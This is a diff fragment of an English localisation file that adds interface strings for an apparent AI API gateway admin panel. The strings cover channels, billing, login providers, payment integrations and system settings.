+    "Advanced Options": "Advanced Options",
+    "Advanced platform configuration.": "Advanced platform configuration.",
+    "Advanced Settings": "Advanced Settings",
+    "After clicking the button, you'll be asked to authorize the bot": "After clicking the button, you'll be asked to authorize the bot",
+    "After disabling, it will no longer be shown to users, but historical orders are not affected. Continue?": "After disabling, it will no longer be shown to users, but historical orders are not affected. Continue?",
+    "After enabling, the plan will be shown to users. Continue?": "After enabling, the plan will be shown to users. Continue?",
+    "After invalidating, this subscription will be immediately deactivated. Historical records are not affected. Continue?": "After invalidating, this subscription will be immediately deactivated. Historical records are not affected. Continue?",
+    "After scanning, the binding will complete automatically": "After scanning, the binding will complete automatically",
+    "Agent ID *": "Agent ID *",
+    "Aggregated usage metrics and trend charts.": "Aggregated usage metrics and trend charts.",
+    "aggregates 50+ AI providers behind one unified API. Manage access, track costs, and scale effortlessly.": "aggregates 50+ AI providers behind one unified API. Manage access, track costs, and scale effortlessly.",
+    "AGPL v3.0 License": "AGPL v3.0 License",
+    "AI model testing environment": "AI model testing environment",
+    "AI models": "AI models",
+    "AI models supported": "AI models supported",
+    "AI Proxy": "AI Proxy",
+    "AI Proxy Library": "AI Proxy Library",
+    "AIGC2D": "AIGC2D",
+    "AILS": "AILS",
+    "AK/SK mode: use AccessKey|SecretAccessKey|Region": "AK/SK mode: use AccessKey|SecretAccessKey|Region",
+    "Ali": "Ali",
+    "All": "All",
+    "All edits are overwrite operations. Leave fields empty to keep current values unchanged.": "All edits are overwrite operations. Leave fields empty to keep current values unchanged.",
+    "All files exceed the maximum size.": "All files exceed the maximum size.",
+    "All Groups": "All Groups",
+    "All Models": "All Models",
+    "All models in use are properly configured.": "All models in use are properly configured.",
+    "All Status": "All Status",
+    "All Sync Status": "All Sync Status",
+    "All Tags": "All Tags",
+    "All Types": "All Types",
+    "All upstream data is trusted": "All upstream data is trusted",
+    "All Vendors": "All Vendors",
+    "All Your AI Models": "All Your AI Models",
+    "Allocated Memory": "Allocated Memory",
+    "Allow accountFilter parameter": "Allow accountFilter parameter",
+    "Allow Claude beta query passthrough": "Allow Claude beta query passthrough",
+    "Allow clients to query configured ratios via `/api/ratio`.": "Allow clients to query configured ratios via `/api/ratio`.",
+    "Allow HTTP image requests": "Allow HTTP image requests",
+    "Allow include usage obfuscation passthrough": "Allow include usage obfuscation passthrough",
+    "Allow inference geography passthrough": "Allow inference geography passthrough",
+    "Allow inference_geo passthrough": "Allow inference_geo passthrough",
+    "Allow Insecure Origins": "Allow Insecure Origins",
+    "Allow new users to register": "Allow new users to register",
+    "Allow Private IPs": "Allow Private IPs",
+    "Allow registration with password": "Allow registration with password",
+    "Allow requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)": "Allow requests to private IP ranges (10.0.0.0/8, 172.16.0.0/12, 192.168.0.0/16)",
+    "Allow safety_identifier passthrough": "Allow safety_identifier passthrough",
+    "Allow service_tier passthrough": "Allow service_tier passthrough",
+    "Allow speed passthrough": "Allow speed passthrough",
+    "Allow upstream callbacks": "Allow upstream callbacks",
+    "Allow users to check in daily for random quota rewards": "Allow users to check in daily for random quota rewards",
+    "Allow users to enter promo codes": "Allow users to enter promo codes",
+    "Allow users to log in with password": "Allow users to log in with password",
+    "Allow users to register and sign in with Passkey (WebAuthn)": "Allow users to register and sign in with Passkey (WebAuthn)",
+    "Allow users to sign in with Discord": "Allow users to sign in with Discord",
+    "Allow users to sign in with GitHub": "Allow users to sign in with GitHub",
+    "Allow users to sign in with LinuxDO": "Allow users to sign in with LinuxDO",
+    "Allow users to sign in with OpenID Connect": "Allow users to sign in with OpenID Connect",
+    "Allow users to sign in with Telegram": "Allow users to sign in with Telegram",
+    "Allow users to sign in with this provider": "Allow users to sign in with this provider",
+    "Allow users to sign in with WeChat": "Allow users to sign in with WeChat",
+    "Allow using models without price configuration": "Allow using models without price configuration",
+    "Allowed": "Allowed",
+    "Allowed Origins": "Allowed Origins",
+    "Allowed Ports": "Allowed Ports",
+    "Already have an account?": "Already have an account?",
+    "Always matches (default tier).": "Always matches (default tier).",
+    "Amount": "Amount",
+    "Amount cannot be changed when editing.": "Amount cannot be changed when editing.",
+    "Amount discount": "Amount discount",
+    "Amount Due": "Amount Due",
+    "Amount must be a whole number": "Amount must be a whole number",
+    "Amount must be greater than 0": "Amount must be greater than 0",
+    "Amount of quota to credit to user account.": "Amount of quota to credit to user account.",
+    "Amount options must be a JSON array": "Amount options must be a JSON array",
+    "Amount to pay:": "Amount to pay:",
+    "An unexpected error occurred": "An unexpected error occurred",
+    "and": "and",
+    "Announcement added. Click \"Save Settings\" to apply.": "Announcement added. Click \"Save Settings\" to apply.",
+    "Announcement content": "Announcement content",
+    "Announcement deleted. Click \"Save Settings\" to apply.": "Announcement deleted. Click \"Save Settings\" to apply.",
+    "Announcement Details": "Announcement Details",
+    "Announcement displayed to users (supports Markdown & HTML)": "Announcement displayed to users (supports Markdown & HTML)",
+    "Announcement updated. Click \"Save Settings\" to apply.": "Announcement updated. Click \"Save Settings\" to apply.",
+    "Announcements": "Announcements",
+    "Announcements saved successfully": "Announcements saved successfully",
+    "Answer": "Answer",
+    "Anthropic": "Anthropic",
+    "API Addresses": "API Addresses",
+    "API Base URL (Important: Not Chat API) *": "API Base URL (Important: Not Chat API) *",
+    "API Base URL *": "API Base URL *",
+    "API Endpoints": "API Endpoints",
+    "API Info": "API Info",
+    "API info added. Click \"Save Settings\" to apply.": "API info added. Click \"Save Settings\" to apply.",
+    "API info deleted. Click \"Save Settings\" to apply.": "API info deleted. Click \"Save Settings\" to apply.",
+    "API info saved successfully": "API info saved successfully",
+    "API info updated. Click \"Save Settings\" to apply.": "API info updated. Click \"Save Settings\" to apply.",
+    "API key": "API key",
+    "API Key": "API Key",
+    "API Key (one per line for batch mode)": "API Key (one per line for batch mode)",
+    "API Key (Production)": "API Key (Production)",
+    "API Key (Sandbox)": "API Key (Sandbox)",
+    "API Key *": "API Key *",
+    "API Key created successfully": "API Key created successfully",
+    "API Key deleted successfully": "API Key deleted successfully",
+    "API Key disabled successfully": "API Key disabled successfully",
+    "API Key enabled successfully": "API Key enabled successfully",
+    "API key from the provider": "API key from the provider",
+    "API key is required": "API key is required",
+    "API Key mode (does not support batch creation)": "API Key mode (does not support batch creation)",
+    "API Key mode: use APIKey|Region": "API Key mode: use APIKey|Region",
+    "API Key updated successfully": "API Key updated successfully",
+    "API Keys": "API Keys",
+    "API Private Key": "API Private Key",
+    "API Requests": "API Requests",
+    "API secret": "API secret",
+    "API token management": "API token management",
+    "API URL": "API URL",
+    "API usage records": "API usage records",
+    "API2GPT": "API2GPT",
+    "Append": "Append",
+    "Append mode: New keys will be added to the end of the existing key list": "Append mode: New keys will be added to the end of the existing key list",
+    "Append to channel": "Append to channel",
+    "Append to existing keys": "Append to existing keys",
+    "appended": "appended",
+    "Application": "Application",
+    "Applies to custom completion endpoints. JSON map of model → ratio.": "Applies to custom completion endpoints. JSON map of model → ratio.",
+    "Apply All Upstream Updates": "Apply All Upstream Updates",
+    "Apply Filters": "Apply Filters",
+    "Apply IP Filter to Resolved Domains": "Apply IP Filter to Resolved Domains",
+    "Apply Overwrite": "Apply Overwrite",
+    "Apply Sync": "Apply Sync",
+    "Applying...": "Applying...",
+    "Approx.": "Approx.",
+    "are also listed here. Remove them from Models to keep the `/v1/models` response user-friendly and hide vendor-specific names.": "are also listed here. Remove them from Models to keep the `/v1/models` response user-friendly and hide vendor-specific names.",
+    "Are you sure you want to delete": "Are you sure you want to delete",
+    "Are you sure you want to delete all auto-disabled keys? This action cannot be undone.": "Are you sure you want to delete all auto-disabled keys? This action cannot be undone.",
+    "Are you sure you want to delete deployment \"{{name}}\"? This action cannot be undone.": "Are you sure you want to delete deployment \"{{name}}\"? This action cannot be undone.",
+    "Are you sure you want to delete this key? This action cannot be undone.": "Are you sure you want to delete this key? This action cannot be undone.",
+    "Are you sure you want to disable all enabled keys?": "Are you sure you want to disable all enabled keys?",
+    "Are you sure you want to enable all keys?": "Are you sure you want to enable all keys?",
+    "Are you sure you want to manually complete this order? The user will be credited with the corresponding quota.": "Are you sure you want to manually complete this order? The user will be credited with the corresponding quota.",
+    "Are you sure you want to sign out? You will need to sign in again to access your account.": "Are you sure you want to sign out? You will need to sign in again to access your account.",
+    "Are you sure you want to unbind {{provider}} for this user? The user will no longer be able to log in via this method.": "Are you sure you want to unbind {{provider}} for this user? The user will no longer be able to log in via this method.",
+    "Are you sure you want to unbind {{provider}}? You will no longer be able to log in via this method.": "Are you sure you want to unbind {{provider}}? You will no longer be able to log in via this method.",
+    "Are you sure?": "Are you sure?",
+    "Args (space separated)": "Args (space separated)",
+    "Array of chat client presets. Each item is an object with one key-value pair: client name and its URL.": "Array of chat client presets. Each item is an object with one key-value pair: client name and its URL.",
+    "Area Chart": "Area Chart",
+    "Asc": "Asc",
+    "Ask anything": "Ask anything",
+    "Async task refund": "Async task refund",
+    "At least one model regex pattern is required": "At least one model regex pattern is required",
+    "At least one valid key source is required": "At least one valid key source is required",
+    "Attach": "Attach",
+    "Audio": "Audio",
+    "Audio comp.": "Audio comp.",
+    "Audio completion ratio": "Audio completion ratio",
+    "Audio In": "Audio In",
+    "Audio input": "Audio input",
+    "Audio Input": "Audio Input",
+    "Audio Input Price": "Audio Input Price",
+    "Audio Out": "Audio Out",
+    "Audio output": "Audio output",
+    "Audio Output": "Audio Output",
+    "Audio playback failed": "Audio playback failed",
+    "Audio Preview": "Audio Preview",
+    "Audio ratio": "Audio ratio",
+    "Audio Tokens": "Audio Tokens",
+    "Auth Style": "Auth Style",
+    "Authentication": "Authentication",
+    "Authenticator code": "Authenticator code",
+    "Authorization Endpoint": "Authorization Endpoint",
+    "Authorization Endpoint (Optional)": "Authorization Endpoint (Optional)",
+    "Authorize": "Authorize",
+    "Auto": "Auto",
+    "Auto (Circuit Breaker)": "Auto (Circuit Breaker)",
+    "Auto assignment order": "Auto assignment order",
+    "Auto Ban": "Auto Ban",
+    "Auto detect (default)": "Auto detect (default)",
+    "Auto Disabled": "Auto Disabled",
+    "Auto Group Chain": "Auto Group Chain",
+    "Auto refresh": "Auto refresh",
+    "Auto Sync Upstream Models": "Auto Sync Upstream Models",
+    "Auto-disable status codes": "Auto-disable status codes",
+    "Auto-discover": "Auto-discover",
+    "Auto-discovers endpoints from the provider": "Auto-discovers endpoints from the provider",
+    "Auto-retry status codes": "Auto-retry status codes",
+    "Automatically disable channel on repeated failures": "Automatically disable channel on repeated failures",
+    "Automatically disable channels exceeding this response time": "Automatically disable channels exceeding this response time",
+    "Automatically disable channels when tests fail": "Automatically disable channels when tests fail",
+    "Automatically probe all channels in the background": "Automatically probe all channels in the background",
+    "Automatically replaces upstream callback URLs with the server address.": "Automatically replaces upstream callback URLs with the server address.",
+    "Automatically selects the best available group with circuit breaker mechanism": "Automatically selects the best available group with circuit breaker mechanism",
+    "Automatically sync model list when upstream changes are detected": "Automatically sync model list when upstream changes are detected",
+    "Automatically test channels and notify users when limits are hit": "Automatically test channels and notify users when limits are hit",
+    "Available": "Available",
+    "Available disk space": "Available disk space",
+    "Available Models": "Available Models",
+    "Available Rewards": "Available Rewards",
+    "Average RPM": "Average RPM",
+    "Average TPM": "Average TPM",
+    "AWS": "AWS",
+    "AWS Key Format": "AWS Key Format",
+    "Azure": "Azure",
+    "AZURE_OPENAI_ENDPOINT *": "AZURE_OPENAI_ENDPOINT *",
+    "Back": "Back",
+    "Back to Home": "Back to Home",
+    "Back to login": "Back to login",
+    "Back to Models": "Back to Models",
+    "Backed up": "Backed up",
+    "Background job tracker for queued work.": "Background job tracker for queued work.",
+    "Backup Code": "Backup Code",
+    "Backup code must be in format XXXX-XXXX": "Backup code must be in format XXXX-XXXX",
+    "Backup codes regenerated successfully": "Backup codes regenerated successfully",
+    "Backup codes remaining: {{count}}": "Backup codes remaining: {{count}}",
+    "Badge Color": "Badge Color",
+    "Baidu": "Baidu",
+    "Baidu V2": "Baidu V2",
+    "Balance": "Balance",
+    "Balance and top-up management": "Balance and top-up management",
+    "Balance queried successfully": "Balance queried successfully",
+    "Balance updated successfully": "Balance updated successfully",
+    "Balance updated: {{balance}}": "Balance updated: {{balance}}",
+    "Bar Chart": "Bar Chart",
+    "Bark Push URL": "Bark Push URL",
+    "Base address provided by your Epay service": "Base address provided by your Epay service",
+    "Base amount. Actual deduction = base amount × system group rate.": "Base amount. Actual deduction = base amount × system group rate.",
+    "Base Limits": "Base Limits",
+    "Base multipliers applied when users select specific groups.": "Base multipliers applied when users select specific groups.",
+    "Base rate limit windows for this account.": "Base rate limit windows for this account.",
+    "Base URL": "Base URL",
+    "Base URL of your Uptime Kuma instance": "Base URL of your Uptime Kuma instance",
+    "Basic Authentication": "Basic Authentication",
+    "Basic Configuration": "Basic Configuration",
+    "Basic Info": "Basic Info",
+    "Basic Information": "Basic Information",
+    "Batch Add (one key per line)": "Batch Add (one key per line)",
+    "Batch delete failed": "Batch delete failed",
+    "Batch detection complete: {{channels}} channels, {{add}} to add, {{remove}} to remove, {{fails}} failed": "Batch detection complete: {{channels}} channels, {{add}} to add, {{remove}} to remove, {{fails}} failed",
+    "Batch detection failed": "Batch detection failed",
+    "Batch disable failed": "Batch disable failed",
+    "Batch Edit": "Batch Edit",
+    "Batch edit all channels with this tag. Leave fields empty to keep current values.": "Batch edit all channels with this tag. Leave fields empty to keep current values.",
+    "Batch Edit by Tag": "Batch Edit by Tag",
+    "Batch enable failed": "Batch enable failed",
+    "Batch processing failed": "Batch processing failed",
+    "Batch upstream model updates applied: {{channels}} channels, {{added}} added, {{removed}} removed, {{fails}} failed": "Batch upstream model updates applied: {{channels}} channels, {{added}} added, {{removed}} removed, {{fails}} failed",
+    "Best for single-tenant deployments. Pricing and billing options stay hidden.": "Best for single-tenant deployments. Pricing and billing options stay hidden.",
+    "Billing": "Billing",
+    "Billing currency": "Billing currency",
+    "Billing Details": "Billing Details",
+    "Billing History": "Billing History",
+    "Billing Mode": "Billing Mode",
+    "Billing Process": "Billing Process",
+    "Billing Source": "Billing Source",
+    "Bind": "Bind",
+    "Bind an email address to your account.": "Bind an email address to your account.",
+    "Bind Email": "Bind Email",
+    "Bind Telegram Account": "Bind Telegram Account",
+    "Bind WeChat Account": "Bind WeChat Account",
+    "Binding Information": "Binding Information",
+    "Binding successful!": "Binding successful!",
+    "Binding your {{provider}} account": "Binding your {{provider}} account",
+    "Binding...": "Binding...",
+    "Bindings": "Bindings",
+    "Blacklist": "Blacklist",
+    "Blacklist (Block listed domains)": "Blacklist (Block listed domains)",
+    "Blacklist (Block listed IPs)": "Blacklist (Block listed IPs)",
+    "Blank Rule": "Blank Rule",
+    "Blend": "Blend",
+    "Block email aliases (e.g., user+alias@domain.com)": "Block email aliases (e.g., user+alias@domain.com)",
+    "Blocked keywords": "Blocked keywords",
+    "Blocks messages when sensitive keywords are detected.": "Blocks messages when sensitive keywords are detected.",
+    "Body param": "Body param",
+    "Bot Name": "Bot Name",
+    "Bot Protection": "Bot Protection",
+    "Bot Token": "Bot Token",
+    "Bot:": "Bot:",
+    "Bound": "Bound",
+    "Bound Channels": "Bound Channels",
+    "Bound Only": "Bound Only",
+    "Bring channels back online after successful checks": "Bring channels back online after successful checks",
+    "Broadcast a global banner to users. Markdown is supported.": "Broadcast a global banner to users. Markdown is supported.",
+    "Broadcast short system notices on the dashboard": "Broadcast short system notices on the dashboard",
+    "Browse and compare": "Browse and compare",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.002 and 1. Recommended to keep aligned with upstream billing.": "Budget tokens = max tokens × ratio. Accepts a decimal between 0.002 and 1. Recommended to keep aligned with upstream billing.",
+    "Budget tokens = max tokens × ratio. Accepts a decimal between 0.1 and 1.": "Budget tokens = max tokens × ratio. Accepts a decimal between 0.1 and 1.",
+    "Budget Tokens Ratio": "Budget Tokens Ratio",
+    "Budgets": "Budgets",
+    "Built for developers,": "Built for developers,",
+    "Built-in": "Built-in",
+    "Built-in Device": "Built-in Device",
+    "Built-in: phone fingerprint/face, or Windows Hello; External: USB security key": "Built-in: phone fingerprint/face, or Windows Hello; External: USB security key",
+    "by": "by",
+    "Cache": "Cache",
+    "Cache Creation": "Cache Creation",
+    "Cache Creation (1h)": "Cache Creation (1h)",
+    "Cache Creation (5m)": "Cache Creation (5m)",
+    "Cache Directory": "Cache Directory",
+    "Cache Directory Disk Space": "Cache Directory Disk Space",
+    "Cache Directory Info": "Cache Directory Info",
+    "Cache Entries": "Cache Entries",
+    "Cache mode": "Cache mode",
+    "Cache ratio": "Cache ratio",
+    "Cache Read": "Cache Read",
+    "Cache write": "Cache write",
+    "Cache Write": "Cache Write",
+    "Cache Write (1h)": "Cache Write (1h)",
+    "Cache Write (5m)": "Cache Write (5m)",
+    "Cached": "Cached",
+    "Cached input": "Cached input",
+    "Calculated price: ${{price}} per 1M tokens": "Calculated price: ${{price}} per 1M tokens",
+    "Calculated ratio: {{ratio}}": "Calculated ratio: {{ratio}}",
+    "Calculating...": "Calculating...",
+    "Call Count Distribution": "Call Count Distribution",
+    "Call Count Ranking": "Call Count Ranking",
+    "Call Proportion": "Call Proportion",
+    "Call Trend": "Call Trend",
+    "Callback address": "Callback address",
+    "Callback Caller IP": "Callback Caller IP",
+    "Callback notification URL": "Callback notification URL",
+    "Callback Payment Method": "Callback Payment Method",
+    "Callback URL": "Callback URL",
+    "Cancel": "Cancel",
+    "Cancelled": "Cancelled",
+    "Cancelled at": "Cancelled at",
+    "Capture a reusable bundle of models, tags, or endpoints.": "Capture a reusable bundle of models, tags, or endpoints.",
+    "Category Name": "Category Name",
+    "Category name is required": "Category name is required",
+    "Category name must be less than 50 characters": "Category name must be less than 50 characters",
+    "Caution": "Caution",
+    "CC Switch": "CC Switch",
+    "Chain": "Chain",
+    "Change": "Change",
+    "Change language": "Change language",
+    "Change Password": "Change Password",
+    "Change To": "Change To",
+    "Changing...": "Changing...",
+    "Channel": "Channel",
+    "Channel Affinity": "Channel Affinity",
+    "Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.": "Channel affinity reuses the last successful channel based on keys extracted from the request context or JSON body.",
+    "Channel Affinity: Upstream Cache Hit": "Channel Affinity: Upstream Cache Hit",
+    "Channel copied successfully": "Channel copied successfully",
+    "Channel created successfully": "Channel created successfully",
+    "Channel deleted successfully": "Channel deleted successfully",
+    "Channel disabled successfully": "Channel disabled successfully",
+    "Channel enabled successfully": "Channel enabled successfully",
+    "Channel Extra Settings": "Channel Extra Settings",
+    "Channel ID": "Channel ID",
+    "Channel key unlocked": "Channel key unlocked",
+    "Channel models": "Channel models",
+    "Channel name is required": "Channel name is required",
+    "Channel test completed": "Channel test completed",
+    "Channel type is required": "Channel type is required",
+    "Channel updated successfully": "Channel updated successfully",
+    "Channel-specific settings (JSON format)": "Channel-specific settings (JSON format)",
+    "Channel:": "Channel:",
+    "channel(s)? This action cannot be undone.": "channel(s)? This action cannot be undone.",
+    "Channels": "Channels",
+    "Channels deleted successfully": "Channels deleted successfully",
+    "Chart Settings": "Chart Settings",
+    "Chat": "Chat",
+    "Chat area": "Chat area",
+    "Chat Area": "Chat Area",
+    "Chat Client Name": "Chat Client Name",
+    "Chat client name is required": "Chat client name is required",
+    "Chat configuration JSON": "Chat configuration JSON",
+    "Chat preset not found": "Chat preset not found",
+    "Chat Presets": "Chat Presets",
+    "Chat session management": "Chat session management",
+    "ChatCompletions -> Responses Compatibility": "ChatCompletions -> Responses Compatibility",
+    "Check for updates": "Check for updates",
+    "Check in daily to receive random quota rewards": "Check in daily to receive random quota rewards",
+    "Check in now": "Check in now",
+    "Check resolved IPs against IP filters even when accessing by domain": "Check resolved IPs against IP filters even when accessing by domain",
+    "Check-in failed": "Check-in failed",
+    "Check-in Settings": "Check-in Settings",
+    "Check-in successful! Received": "Check-in successful! Received",
+    "Checked in": "Checked in",
+    "Checking connection": "Checking connection",
+    "Checking name...": "Checking name...",
+    "Checking updates...": "Checking updates...",
+    "checkout.session.completed": "checkout.session.completed",
+    "checkout.session.expired": "checkout.session.expired",
+    "Chinese": "Chinese",
+    "Choose a username": "Choose a username",
+    "Choose an amount and payment method": "Choose an amount and payment method",
+    "Choose between default expanded, compact icon-only, or full layout mode": "Choose between default expanded, compact icon-only, or full layout mode",
+    "Choose between inset, floating, or standard sidebar layout": "Choose between inset, floating, or standard sidebar layout",
+    "Choose between left-to-right or right-to-left site direction": "Choose between left-to-right or right-to-left site direction",
+    "Choose between system preference, light mode, or dark mode": "Choose between system preference, light mode, or dark mode",
+    "Choose channels to sync upstream ratio configurations from": "Choose channels to sync upstream ratio configurations from",
+    "Choose Group": "Choose Group",
+    "Choose how quota values are shown to users": "Choose how quota values are shown to users",
+    "Choose how the platform will operate": "Choose how the platform will operate",
+    "Choose how to filter domains": "Choose how to filter domains",
+    "Choose how to filter IP addresses": "Choose how to filter IP addresses",
+    "Choose the bundle type and define the items inside it.": "Choose the bundle type and define the items inside it.",
+    "Choose where to fetch upstream metadata.": "Choose where to fetch upstream metadata.",
+    "Classic (Legacy Frontend)": "Classic (Legacy Frontend)",
+    "Claude": "Claude",
+    "Clean history logs": "Clean history logs",
+    "Clean logs": "Clean logs",
+    "Clean up inactive cache": "Clean up inactive cache",
+    "Clean Up Log Files": "Clean Up Log Files",
+    "Cleaned up {{count}} log files, freed {{size}}": "Cleaned up {{count}} log files, freed {{size}}",
+    "Cleaning...": "Cleaning...",
+    "Cleanup failed": "Cleanup failed",
+    "Cleanup Mode": "Cleanup Mode",
+    "Clear": "Clear",
+    "Clear all": "Clear all",
+    "Clear All": "Clear All",
+    "Clear All Cache": "Clear All Cache",
+    "Clear all filters": "Clear all filters",
+    "Clear cache for this rule": "Clear cache for this rule",
+    "Clear filters": "Clear filters",
+    "Clear Mapping": "Clear Mapping",
+    "Clear mode flags in prompts": "Clear mode flags in prompts",
+    "Clear search": "Clear search",
+    "Clear selection": "Clear selection",
+    "Clear selection (Escape)": "Clear selection (Escape)",
+    "Cleared": "Cleared",
+    "Cleared all models": "Cleared all models",
+    "Click \"Create Plan\" to create your first subscription plan": "Click \"Create Plan\" to create your first subscription plan",
+    "Click \"Generate\" to create a token": "Click \"Generate\" to create a token",
+    "Click for details": "Click for details",
+    "Click save when you're done.": "Click save when you're done.",
+    "Click save when you&apos;re done.": "Click save when you&apos;re done.",
+    "Click the button below to bind your Telegram account": "Click the button below to bind your Telegram account",
+    "Click to open deployment": "Click to open deployment",
+    "Click to preview audio": "Click to preview audio",
+    "Click to preview video": "Click to preview video",
+    "Click to update balance": "Click to update balance",
+    "Click to view Codex usage": "Click to view Codex usage",
+    "Click to view full details": "Click to view full details",
+    "Click to view full error message": "Click to view full error message",
+    "Click to view full prompt": "Click to view full prompt",
+    "Client ID": "Client ID",
+    "Client Secret": "Client Secret",
+    "Close": "Close",
+    "Close dialog": "Close dialog",
+    "Close menu": "Close menu",
+    "Close Today": "Close Today",
+    "Cloudflare": "Cloudflare",
+    "CNY": "CNY",
+    "CNY per USD": "CNY per USD",
+    "Code": "Code",
+    "Codes copied!": "Codes copied!",
+    "Codex": "Codex",
+    "Codex Account & Usage": "Codex Account & Usage",
+    "Codex Authorization": "Codex Authorization",
+    "Codex channels use an OAuth JSON credential as the key.": "Codex channels use an OAuth JSON credential as the key.",
+    "Cohere": "Cohere",
+    "Collapse": "Collapse",
+    "Color": "Color",
+    "Color is required": "Color is required",
+    "Color:": "Color:",
+    "Coming Soon!": "Coming Soon!",
+    "Comma-separated list of allowed ports (empty = all ports)": "Comma-separated list of allowed ports (empty = all ports)",
+    "Comma-separated model names (leave empty to keep current)": "Comma-separated model names (leave empty to keep current)",
+    "Comma-separated model names, e.g., gpt-4,gpt-3.5-turbo": "Comma-separated model names, e.g., gpt-4,gpt-3.5-turbo",
+    "Command": "Command",
+    "Common": "Common",
+    "Common Keys": "Common Keys",
+    "Common Logs": "Common Logs",
+    "Common ports include 25, 465, and 587": "Common ports include 25, 465, and 587",
+    "Common User": "Common User",
+    "Complete API documentation with multi-language SDK support": "Complete API documentation with multi-language SDK support",
+    "Complete Order": "Complete Order",
+    "Complete these steps to finish the initial installation.": "Complete these steps to finish the initial installation.",
+    "Completed": "Completed",
+    "Completion": "Completion",
+    "Completion price ($/1M tokens)": "Completion price ($/1M tokens)",
+    "Completion ratio": "Completion ratio",
+    "Concatenate channel system prompt with user&apos;s prompt": "Concatenate channel system prompt with user&apos;s prompt",
+    "Conditional multipliers": "Conditional multipliers",
+    "Conditions (AND)": "Conditions (AND)",
+    "Confidence": "Confidence",
+    "Configuration": "Configuration",
+    "Configuration File": "Configuration File",
+    "Configuration for Creem payment integration": "Configuration for Creem payment integration",
+    "Configuration for Epay payment integration": "Configuration for Epay payment integration",
+    "Configuration for Stripe payment integration": "Configuration for Stripe payment integration",
+    "Configuration required": "Configuration required",
+    "Configure": "Configure",
+    "Configure a Creem product for user recharge options.": "Configure a Creem product for user recharge options.",
+    "Configure a custom ratio for when users use a specific token group.": "Configure a custom ratio for when users use a specific token group.",
+    "Configure a group that users can select when creating API keys.": "Configure a group that users can select when creating API keys.",
+    "Configure a new custom OAuth provider for user authentication.": "Configure a new custom OAuth provider for user authentication.",
+    "Configure a payment method for user recharge options.": "Configure a payment method for user recharge options.",
+    "Configure a predefined chat link for end users.": "Configure a predefined chat link for end users.",
+    "Configure and deploy a new container instance.": "Configure and deploy a new container instance.",
+    "Configure API documentation links for the dashboard": "Configure API documentation links for the dashboard",
+    "Configure at:": "Configure at:",
+    "Configure available payment methods. Provide a JSON array.": "Configure available payment methods. Provide a JSON array.",
+    "Configure basic system information and branding": "Configure basic system information and branding",
+    "Configure channel affinity (sticky routing) rules": "Configure channel affinity (sticky routing) rules",
+    "Configure Creem products. Provide a JSON array.": "Configure Creem products. Provide a JSON array.",
+    "Configure custom OAuth providers for user authentication": "Configure custom OAuth providers for user authentication",
+    "Configure daily check-in rewards for users": "Configure daily check-in rewards for users",
+    "Configure discount rates based on recharge amounts": "Configure discount rates based on recharge amounts",
+    "Configure experimental data export for the dashboard": "Configure experimental data export for the dashboard",
+    "Configure Gemini safety behavior, version overrides, and thinking adapter": "Configure Gemini safety behavior, version overrides, and thinking adapter",
+    "Configure in your Creem dashboard": "Configure in your Creem dashboard",
+    "Configure io.net API key for model deployments": "Configure io.net API key for model deployments",
+    "Configure keyword filtering for prompts and responses.": "Configure keyword filtering for prompts and responses.",
+    "Configure model, caching, and group ratios used for billing": "Configure model, caching, and group ratios used for billing",
+    "Configure monitoring status page groups for the dashboard": "Configure monitoring status page groups for the dashboard",
+    "Configure outgoing email server for notifications": "Configure outgoing email server for notifications",
+    "Configure Passkey (WebAuthn) login settings": "Configure Passkey (WebAuthn) login settings",
+    "Configure password-based login and registration": "Configure password-based login and registration",
+    "Configure per-model ratio for image inputs or outputs.": "Configure per-model ratio for image inputs or outputs.",
+    "Configure per-tool unit prices ($/1K calls). Per-request models do not incur additional tool fees.": "Configure per-tool unit prices ($/1K calls). Per-request models do not incur additional tool fees.",
+    "Configure predefined chat links surfaced to end users.": "Configure predefined chat links surfaced to end users.",
+    "Configure pricing model and display options": "Configure pricing model and display options",
+    "Configure pricing ratios for a specific model.": "Configure pricing ratios for a specific model.",
+    "Configure rate limiting rules for a specific user group.": "Configure rate limiting rules for a specific user group.",
+    "Configure recharge pricing and payment gateway integrations": "Configure recharge pricing and payment gateway integrations",
+    "Configure system-wide behavior and defaults": "Configure system-wide behavior and defaults",
+    "Configure the ratio for this group.": "Configure the ratio for this group.",
+    "Configure third-party authentication providers": "Configure third-party authentication providers",
+    "Configure upstream providers and routing.": "Configure upstream providers and routing.",
+    "Configure upstream worker or proxy service for outbound requests": "Configure upstream worker or proxy service for outbound requests",
+    "Configure user quota allocation and rewards": "Configure user quota allocation and rewards",
+    "Configure Waffo Pancake hosted checkout integration for USD-priced top-ups": "Configure Waffo Pancake hosted checkout integration for USD-priced top-ups",
+    "Configure Waffo payment aggregation platform integration": "Configure Waffo payment aggregation platform integration",
+    "Configure xAI Grok model settings": "Configure xAI Grok model settings",
+    "Configure xAI Grok model specific settings": "Configure xAI Grok model specific settings",
+    "Configure your account behavior preferences": "Configure your account behavior preferences",
+    "Configure your account preferences and integrations": "Configure your account preferences and integrations",
+    "Confirm": "Confirm",
+    "Confirm Action": "Confirm Action",
+    "Confirm Batch Update": "Confirm Batch Update",
+    "Confirm Billing Conflicts": "Confirm Billing Conflicts",
+    "Confirm Changes": "Confirm Changes",
+    "Confirm Cleanup": "Confirm Cleanup",
+    "Confirm cleanup of inactive disk cache?": "Confirm cleanup of inactive disk cache?",
+    "Confirm clearing all channel affinity cache": "Confirm clearing all channel affinity cache",
+    "Confirm clearing cache for this rule": "Confirm clearing cache for this rule",
+    "Confirm Creem Purchase": "Confirm Creem Purchase",
+    "Confirm delete": "Confirm delete",
+    "Confirm disable": "Confirm Disable",
+    "Confirm enable": "Confirm Enable",
+    "Confirm invalidate": "Confirm Invalidate",
+    "Confirm log cleanup": "Confirm log cleanup",
+    "Confirm log file cleanup?": "Confirm log file cleanup?",
+    "Confirm New Password": "Confirm New Password",
+    "Confirm password": "Confirm password",
+    "Confirm Payment": "Confirm Payment",
+    "Confirm Selection": "Confirm Selection",
+    "Confirm settings and finish setup": "Confirm settings and finish setup",
+    "Confirm Unbind": "Confirm Unbind",
+    "Confirm your identity before removing this Passkey from your account.": "Confirm your identity before removing this Passkey from your account.",
+    "Confirm your identity with Two-factor Authentication before registering a Passkey.": "Confirm your identity with Two-factor Authentication before registering a Passkey.",
+    "Conflict": "Conflict",
+    "Connect": "Connect",
+    "Connected to io.net service normally.": "Connected to io.net service normally.",
+    "Connection error": "Connection error",
+    "Connection failed": "Connection failed",
+    "Connection successful": "Connection successful",
+    "Console": "Console",
